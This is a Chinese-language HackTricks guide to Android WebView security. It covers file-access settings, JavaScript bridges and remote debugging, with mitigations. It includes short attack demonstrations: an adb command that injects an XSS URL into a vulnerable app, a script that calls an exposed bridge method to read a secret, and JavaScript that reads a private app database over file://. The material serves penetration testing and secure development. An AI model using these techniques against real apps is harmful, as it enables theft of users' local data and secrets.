Webview Attacks

支持 HackTricks

WebView 配置与安全指南

WebView 漏洞概述

Android 开发的一个关键方面是正确处理 WebViews。本指南强调了关键配置和安全实践,以减轻与 WebView 使用相关的风险。

WebViews 中的文件访问

默认情况下,WebViews 允许文件访问。此功能由 setAllowFileAccess() 方法控制,自 Android API 级别 3(Cupcake 1.5)以来可用。具有 android.permission.READ_EXTERNAL_STORAGE 权限的应用可以使用文件 URL 方案(file://path/to/file)从外部存储读取文件。

已弃用的功能:来自 URL 的通用和文件访问

  • 来自文件 URL 的通用访问:此已弃用功能允许来自文件 URL 的跨源请求,由于潜在的 XSS 攻击,构成了重大安全风险。默认设置在针对 Android Jelly Bean 及更高版本的应用中被禁用(false)。

  • 要检查此设置,请使用 getAllowUniversalAccessFromFileURLs()

  • 要修改此设置,请使用 setAllowUniversalAccessFromFileURLs(boolean)

  • 来自文件 URL 的文件访问:此功能也已弃用,控制来自其他文件方案 URL 的内容访问。与通用访问一样,其默认设置为禁用,以增强安全性。

  • 使用 getAllowFileAccessFromFileURLs() 检查,使用 setAllowFileAccessFromFileURLs(boolean) 设置。

安全文件加载

为了在仍然访问资产和资源的同时禁用文件系统访问,使用 setAllowFileAccess() 方法。对于 Android R 及更高版本,默认设置为 false

  • 使用 getAllowFileAccess() 检查。

  • 使用 setAllowFileAccess(boolean) 启用或禁用。

WebViewAssetLoader

WebViewAssetLoader 类是加载本地文件的现代方法。它使用 http(s) URL 访问本地资产和资源,符合同源策略,从而促进 CORS 管理。

loadUrl

这是一个常用函数,用于在 webview 中加载任意 URL:

webview.loadUrl("<url here>")

Ofc,潜在攻击者绝不应该能够 控制应用程序将要加载的 URL

JavaScript 和 Intent Scheme 处理

  • JavaScript:在 WebViews 中默认禁用,可以通过 setJavaScriptEnabled() 启用。建议谨慎操作,因为在没有适当保护的情况下启用 JavaScript 可能会引入安全漏洞。

  • Intent Scheme:WebViews 可以处理 intent scheme,如果管理不当,可能会导致漏洞。一个示例漏洞涉及一个暴露的 WebView 参数 "support_url",可以被利用来执行跨站脚本 (XSS) 攻击。

使用 adb 的利用示例:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android 提供了一项功能,使得 JavaScript 在 WebView 中能够调用 本地 Android 应用程序功能。这通过利用 addJavascriptInterface 方法实现,该方法将 JavaScript 与本地 Android 功能集成,称为 WebView JavaScript bridge。需要谨慎,因为此方法允许 WebView 中的所有页面访问注册的 JavaScript 接口对象,如果通过这些接口暴露敏感信息,则会带来安全风险。

  • 对于目标 Android 版本低于 4.2 的应用程序,必须极其谨慎,因为存在一个漏洞,允许通过恶意 JavaScript 进行远程代码执行,利用反射进行攻击。

Implementing a JavaScript Bridge

  • JavaScript 接口 可以与本地代码交互,如示例所示,其中一个类方法被暴露给 JavaScript:

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge 通过向 WebView 添加接口来启用:

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
  • 通过 JavaScript 的潜在利用,例如,通过 XSS 攻击,可以调用暴露的 Java 方法:

<script>alert(javascriptBridge.getSecret());</script>
  • 为了降低风险,限制 JavaScript 桥接使用 仅限于随 APK 打包的代码,并防止从远程源加载 JavaScript。对于旧设备,将最低 API 级别设置为 17。

基于反射的远程代码执行 (RCE)

  • 一种文档化的方法允许通过反射执行特定有效负载来实现 RCE。然而,@JavascriptInterface 注解防止未经授权的方法访问,从而限制了攻击面。

远程调试

  • 远程调试 可以通过 Chrome 开发者工具 实现,允许在 WebView 内容中进行交互和任意 JavaScript 执行。

启用远程调试

  • 可以通过以下方式为应用程序中的所有 WebView 启用远程调试:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • 根据应用程序的可调试状态有条件地启用调试:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

导出任意文件

  • 演示使用 XMLHttpRequest 导出任意文件:

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

参考文献

支持 HackTricks

Last updated